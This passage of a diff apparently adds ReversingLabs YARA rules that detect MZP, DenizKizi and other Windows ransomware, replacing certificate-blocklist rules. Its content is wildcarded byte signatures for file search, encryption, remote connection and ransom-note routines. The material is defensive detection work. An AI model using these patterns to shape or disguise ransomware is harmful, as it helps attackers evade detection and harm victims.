8B 5C 24 ?? 8B 6C + 24 ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? 89 5C 24 ?? 89 6C 24 ?? 83 C4 ?? C3 C7 44 + 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 89 5C + 24 ?? 83 C4 ?? C3 8D 05 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 44 24 ?? C7 40 ?? ?? + ?? ?? ?? 8B 0D ?? ?? ?? ?? 85 C9 75 ?? 8D 0D ?? ?? ?? ?? 89 08 C7 44 24 ?? ?? ?? ?? + ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 0D ?? ?? ?? ?? 89 4C 24 ?? 89 + 44 24 ?? 83 C4 ?? C3 89 44 24 ?? 89 04 24 8D 0D ?? ?? ?? ?? 89 4C 24 ?? E8 ?? ?? ?? + ?? 8B 44 24 ?? EB ?? 89 04 24 89 54 24 ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? + ?? 0F 0B + } + $find_files = { + 64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? C7 44 24 + ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? + ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 8D 05 ?? ?? + ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 44 24 ?? 89 04 24 8B 44 24 ?? 89 44 + 24 ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 0D ?? ?? ?? + ?? 8B 15 ?? ?? ?? ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? 8B 05 ?? ?? ?? ?? 8B 0D ?? + ?? ?? ?? 8B 15 ?? ?? ?? ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? 90 E8 ?? ?? ?? ?? 83 + C4 ?? C3 90 E8 ?? ?? ?? ?? 83 C4 ?? C3 E8 + } + $remote_connection_p1 = { + 64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? C7 04 24 + ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D + 05 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? C7 40 ?? ?? ?? ?? ?? + 8D 0D ?? ?? ?? ?? 89 0C 24 E8 ?? ?? ?? ?? 8B 44 24 ?? C6 40 ?? ?? 8B 0D ?? ?? ?? ?? + 8B 54 24 ?? 8D 5A ?? 85 C9 0F 85 ?? ?? ?? ?? 89 42 ?? 8D 05 ?? ?? ?? ?? 89 04 24 E8 + ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8D 0D + ?? ?? ?? ?? 89 08 8B 0D ?? ?? ?? ?? 8D 50 ?? 85 C9 0F 85 ?? ?? ?? ?? 8B 4C 24 ?? 89 + 48 ?? C7 04 24 ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B + 44 24 ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 + ?? ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 + 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8D 15 ?? ?? ?? ?? 89 14 24 E8 ?? ?? ?? ?? + 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 48 ?? 8B 0D ?? ?? ?? ?? 85 C9 0F 85 ?? ?? ?? + ?? 8B 4C 24 ?? 89 08 C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C7 40 + } + $remote_connection_p2 = { + C7 04 24 ?? ?? ?? ?? 8D 0D ?? ?? ?? ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 4C 24 + ?? 89 4C 24 ?? 8B 4C 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 4C + 24 ?? 89 44 24 ?? 8D 05 ?? ?? ?? ?? 89 04 24 C7 44 24 ?? ?? ?? ?? ?? 8D 05 ?? ?? ?? + ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C + 24 ?? 8B 54 24 ?? 89 0C 24 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 8B 44 24 + ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 89 0C + 24 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 75 ?? 90 E8 ?? ?? ?? ?? 83 C4 ?? C3 + 8B 48 ?? 84 01 8B 40 ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? 8D 41 ?? 89 44 24 ?? E8 ?? + ?? ?? ?? 85 C0 75 ?? EB ?? 90 E8 ?? ?? ?? ?? 83 C4 ?? C3 89 04 24 8B 4C 24 ?? 89 4C + 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? E9 ?? ?? ?? ?? 89 14 24 8B 44 24 ?? 89 44 24 ?? E8 + ?? ?? ?? ?? E9 ?? ?? ?? ?? 89 1C 24 89 44 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 90 E8 + ?? ?? ?? ?? 83 C4 ?? C3 E8 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Red GmbH" and ( pe.signatures [ i ] . serial == "00:b8:81:a7:2d:41:17:bb:c3:8b:81:d3:c6:5c:79:2c:1a" or pe.signatures [ i ] . serial == "b8:81:a7:2d:41:17:bb:c3:8b:81:d3:c6:5c:79:2c:1a" ) and 1581936420 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_* ) ) and ( all of ( $remote_connection_p* ) ) and ( $drop_ransom_note ) } - -rule REVERSINGLABS_Cert_Blocklist_08653Ef2Ed9E6Ebb56Ffa7E93F963235 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_MZP : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects MZP ransomware." author = "ReversingLabs" - id = "9ac976c0-260f-5207-ae39-bbb722c38a92" - date = "2020-08-05" - modified = "2023-11-08" + id = "c08a4080-fa26-5b7b-869d-5f59096b1a12" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3828-L3844" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.MZP.yara#L1-L147" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5ae8d2fb03cd0f945c2f5eb86de4e5da4fbb1cdf233d8a808157304538ced872" + logic_hash = "724ae1033bfb8ff494b30e6b3333e6c848375f1b001b75e71c9444c9f9f31251" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "MZP" + tc_detection_factor = 5 importance = 25 + strings: + $show_ransom_note_p1 = { + 55 8B EC B9 ?? ?? ?? ?? 6A ?? 6A ?? 49 75 ?? 53 56 84 D2 74 ?? 83 C4 ?? E8 ?? ?? ?? + ?? 88 55 ?? 8B D8 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 D2 8B C3 E8 ?? ?? ?? + ?? 89 1D ?? ?? ?? ?? 33 C9 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 89 73 ?? 33 C0 + 89 46 ?? 33 C0 89 86 ?? ?? ?? ?? 33 C0 89 86 ?? ?? ?? ?? C7 86 ?? ?? ?? ?? ?? ?? ?? + ?? C7 86 ?? ?? ?? ?? ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? C7 86 ?? ?? ?? ?? ?? ?? ?? ?? + 6A ?? 6A ?? 8D 45 ?? 50 33 C9 B2 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? 8D 86 ?? + ?? ?? ?? 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? + C6 86 ?? ?? ?? ?? ?? 33 C0 89 86 ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? 33 C0 89 86 ?? ?? + ?? ?? C6 86 ?? ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? 8D 86 ?? ?? ?? ?? 33 D2 E8 ?? ?? ?? + ?? 8D 86 ?? ?? ?? ?? 33 D2 E8 ?? ?? ?? ?? 33 C0 89 86 ?? ?? ?? ?? 33 C0 89 86 ?? ?? + ?? ?? C6 86 ?? ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 E8 + ?? ?? ?? ?? B2 ?? 8B C6 E8 ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? A1 ?? ?? + ?? ?? 8B 00 50 E8 ?? ?? ?? ?? 8B D0 8B C6 E8 ?? ?? ?? ?? 33 D2 8B C6 E8 + } + $show_ransom_note_p2 = { + C6 86 ?? ?? ?? ?? ?? C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 8D 86 ?? ?? ?? ?? 33 D2 E8 ?? ?? + ?? ?? C6 86 ?? ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? 89 B6 ?? ?? ?? ?? C7 86 ?? ?? ?? ?? + ?? ?? ?? ?? 33 C0 89 86 ?? ?? ?? ?? 33 C0 89 86 ?? ?? ?? ?? 8B C6 8B 10 FF 52 ?? B2 + ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 89 73 ?? 8D 46 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? + ?? C6 46 ?? ?? C6 46 ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 89 73 ?? C6 46 + ?? ?? 8D 46 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B + F0 89 73 ?? BA ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 + 8D 46 ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 89 73 ?? 8B C6 C6 + 40 ?? ?? 66 BA ?? ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 89 73 + ?? 8B C6 C6 40 ?? ?? 66 BA ?? ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 89 43 ?? 8B 73 ?? 8D 46 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 46 ?? 33 D2 E8 ?? ?? ?? + ?? C6 46 ?? ?? C6 46 ?? ?? C6 46 ?? ?? C6 46 ?? ?? C6 46 ?? ?? 8D 46 ?? BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 43 ?? B2 ?? A1 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 89 43 ?? 8B 73 ?? 8D 46 ?? 33 D2 E8 ?? ?? ?? ?? 8D 46 ?? BA ?? ?? ?? + ?? E8 + } + $search_config_file = { + 8B C0 53 56 8B F0 8A 9E ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? 80 BE ?? ?? ?? ?? ?? 75 ?? + 8B 46 ?? 8B 48 ?? A1 ?? ?? ?? ?? 33 D2 E8 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 33 D2 8B + 86 ?? ?? ?? ?? FF 96 ?? ?? ?? ?? 83 BE ?? ?? ?? ?? ?? 74 ?? 8B 96 ?? ?? ?? ?? B8 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 89 B6 ?? ?? ?? ?? C7 86 ?? ?? ?? ?? ?? ?? ?? ?? + EB ?? 89 B6 ?? ?? ?? ?? C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 88 9E ?? ?? ?? ?? 8A 96 ?? ?? + ?? ?? 8B C6 E8 ?? ?? ?? ?? 80 BE ?? ?? ?? ?? ?? 74 ?? 8B 46 ?? 8B 8E ?? ?? ?? ?? 8B + 96 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 8B 46 ?? E8 ?? ?? ?? ?? 8B 46 ?? 89 + 70 ?? 5E 5B C3 + } + $track_mouse_event_for_entropy = { + 53 56 83 C4 ?? 8B F0 8B 42 ?? 05 ?? ?? ?? ?? 83 E8 ?? 72 ?? 2D ?? ?? ?? ?? 0F 84 ?? + ?? ?? ?? E9 ?? ?? ?? ?? 8A 86 ?? ?? ?? ?? 88 44 24 ?? 66 83 BE ?? ?? ?? ?? ?? 74 ?? + 8B D6 8B 86 ?? ?? ?? ?? FF 96 ?? ?? ?? ?? 8B D8 EB ?? 54 E8 ?? ?? ?? ?? 8D 4C 24 ?? + 8B D4 8B C6 E8 ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 8B 44 24 ?? 89 44 24 ?? 8D 54 24 ?? + 8B C6 E8 ?? ?? ?? ?? 8D 54 24 ?? 8B C4 E8 ?? ?? ?? ?? 8B D8 3A 5C 24 ?? 0F 84 ?? ?? + ?? ?? 8B C6 E8 ?? ?? ?? ?? 84 DB 74 ?? C6 86 ?? ?? ?? ?? ?? 66 83 BE ?? ?? ?? ?? ?? + 74 ?? 8B D6 8B 86 ?? ?? ?? ?? FF 96 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? + ?? ?? ?? ?? 8B 46 ?? 89 44 24 ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? EB + ?? C6 86 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 46 ?? 89 + 44 24 ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 66 83 BE ?? ?? ?? ?? ?? 74 ?? 8B D6 8B 86 ?? ?? + ?? ?? FF 96 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? EB ?? 80 BE ?? ?? ?? ?? ?? 74 ?? C6 86 + ?? ?? ?? ?? ?? 66 83 BE ?? ?? ?? ?? ?? 74 ?? 8B D6 8B 86 ?? ?? ?? ?? FF 96 ?? ?? ?? + ?? 8B C6 E8 ?? ?? ?? ?? 33 C0 83 C4 ?? 5E 5B C3 + } + $find_files_p1 = { + 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 8B FA + 8B D8 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? + ?? B9 ?? ?? ?? ?? 8B D7 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 43 ?? 8D 85 ?? ?? ?? ?? + 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 33 C9 8A 08 41 E8 + ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B + 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? + 0F 84 ?? ?? ?? ?? 80 7B ?? ?? 76 ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B D7 8B C3 E8 ?? ?? ?? ?? 80 7B ?? ?? 0F 85 ?? + ?? ?? ?? 57 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? + ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 43 ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 53 ?? E8 ?? ?? ?? ?? 84 C0 74 ?? FF 43 + } + $find_files_p2 = { + 80 7B ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B D7 8B C3 E8 ?? ?? ?? ?? EB ?? 80 7B ?? ?? 74 ?? 8D + 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 8B D7 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 43 ?? E8 ?? ?? ?? ?? EB ?? + 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? + 8D 43 ?? E8 ?? ?? ?? ?? 80 7B ?? ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 85 + C0 0F 85 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 + } + $encrypt_files = { + 8B C0 33 D2 89 50 ?? 89 50 ?? 52 8D 50 ?? 52 FF 70 ?? FF 70 ?? FF 30 E8 ?? ?? ?? ?? + 85 C0 74 ?? 33 C0 C3 E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? C3 33 C0 C3 51 8B 50 ?? 85 D2 7E + ?? 33 C9 89 48 ?? 51 8D 4C 24 ?? 51 52 FF 70 ?? FF 30 E8 ?? ?? ?? ?? 85 C0 74 ?? 33 + C0 59 C3 E8 ?? ?? ?? ?? EB ?? FF 30 C7 40 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 75 ?? C3 + E8 ?? ?? ?? ?? C3 56 8B F0 33 C0 89 46 ?? 89 46 ?? 8B 46 ?? 2D ?? ?? ?? ?? 74 ?? 48 + 74 ?? 48 74 ?? E9 ?? ?? ?? ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? C7 46 ?? + ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? + BA ?? ?? ?? ?? B9 ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? + ?? ?? ?? 80 7E ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 51 6A ?? 52 50 8D 46 ?? + 50 E8 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 89 06 81 7E ?? ?? ?? ?? ?? 0F 85 ?? ?? + ?? ?? FF 4E ?? 6A ?? FF 36 E8 ?? ?? ?? ?? 40 0F 84 ?? ?? ?? ?? 2D ?? ?? ?? ?? 73 ?? + 33 C0 6A ?? 6A ?? 50 FF 36 E8 ?? ?? ?? ?? 40 0F 84 ?? ?? ?? ?? 6A ?? 8B D4 6A ?? 52 + 68 ?? ?? ?? ?? 8D 96 ?? ?? ?? ?? 52 FF 36 E8 ?? ?? ?? ?? 5A 48 0F 85 ?? ?? ?? ?? 33 + C0 3B C2 73 ?? 80 BC 06 ?? ?? ?? ?? ?? 74 ?? 40 EB ?? 6A ?? 6A ?? 2B C2 50 FF 36 E8 + ?? ?? ?? ?? 40 74 ?? FF 36 E8 ?? ?? ?? ?? 48 75 ?? EB ?? C7 46 ?? ?? ?? ?? ?? 81 7E + ?? ?? ?? ?? ?? 74 ?? 6A ?? EB ?? 6A ?? E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? 89 06 81 7E ?? + ?? ?? ?? ?? 74 ?? FF 36 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 F8 ?? 75 ?? C7 46 ?? ?? ?? ?? + ?? 33 C0 5E C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Haw Farm LIMITED" and pe.signatures [ i ] . serial == "08:65:3e:f2:ed:9e:6e:bb:56:ff:a7:e9:3f:96:32:35" and 1581465601 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $search_config_file ) and ( all of ( $find_files_p* ) ) and ( $track_mouse_event_for_entropy ) and ( $encrypt_files ) and ( all of ( $show_ransom_note_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_9C4816D900A6Ecdbe54Adf72B19Ebcf5 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Denizkizi : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects DenizKizi ransomware." author = "ReversingLabs" - id = "bd22372d-774b-5e25-b4e5-47d34fe1c40b" - date = "2020-08-05" - modified = "2023-11-08" + id = "e16a00d6-d5b8-5702-9cd7-d037b0ff46a3" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3846-L3864" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.DenizKizi.yara#L1-L88" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "92e8130f444417d5bc3788721280338bbed33e3362104de0cf27bc7c1fc30d0e" + logic_hash = "fbeb01263d6f68141e094ba8fb1c1a54c601ab24292f5c6b0eb8cb0c49f46afc" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "DenizKizi" + tc_detection_factor = 5 importance = 25 + strings: + $find_files = { + 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? + ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? + ?? 64 FF 30 64 89 20 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? + ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 7E ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? + 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B + 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? + ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 F6 85 ?? ?? ?? + ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 + ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 85 C0 74 ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 + ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? + ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 8B E5 5D C3 + } + $encrypt_files = { + 55 8B EC 83 C4 ?? 53 56 57 33 DB 89 5D ?? 89 4D ?? 89 55 ?? 89 45 ?? 8B 45 ?? E8 ?? + ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 + FF 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 89 45 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 C0 55 68 ?? ?? ?? + ?? 64 FF 30 64 89 20 33 C9 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 0D ?? ?? + ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C9 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 + 45 ?? 8B 0D ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? + ?? ?? 8B 45 ?? 8B 10 FF 12 52 50 8B 45 ?? 8B 10 FF 52 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 10 FF 12 50 8B 4D ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? + 8B 45 ?? 8B 10 FF 52 ?? 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 10 FF 12 50 + 8B 4D ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 10 FF 52 ?? 8B 55 ?? 8B 45 ?? + E8 ?? ?? ?? ?? 8D 45 ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? + ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? + ?? 8B 45 ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? + ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? 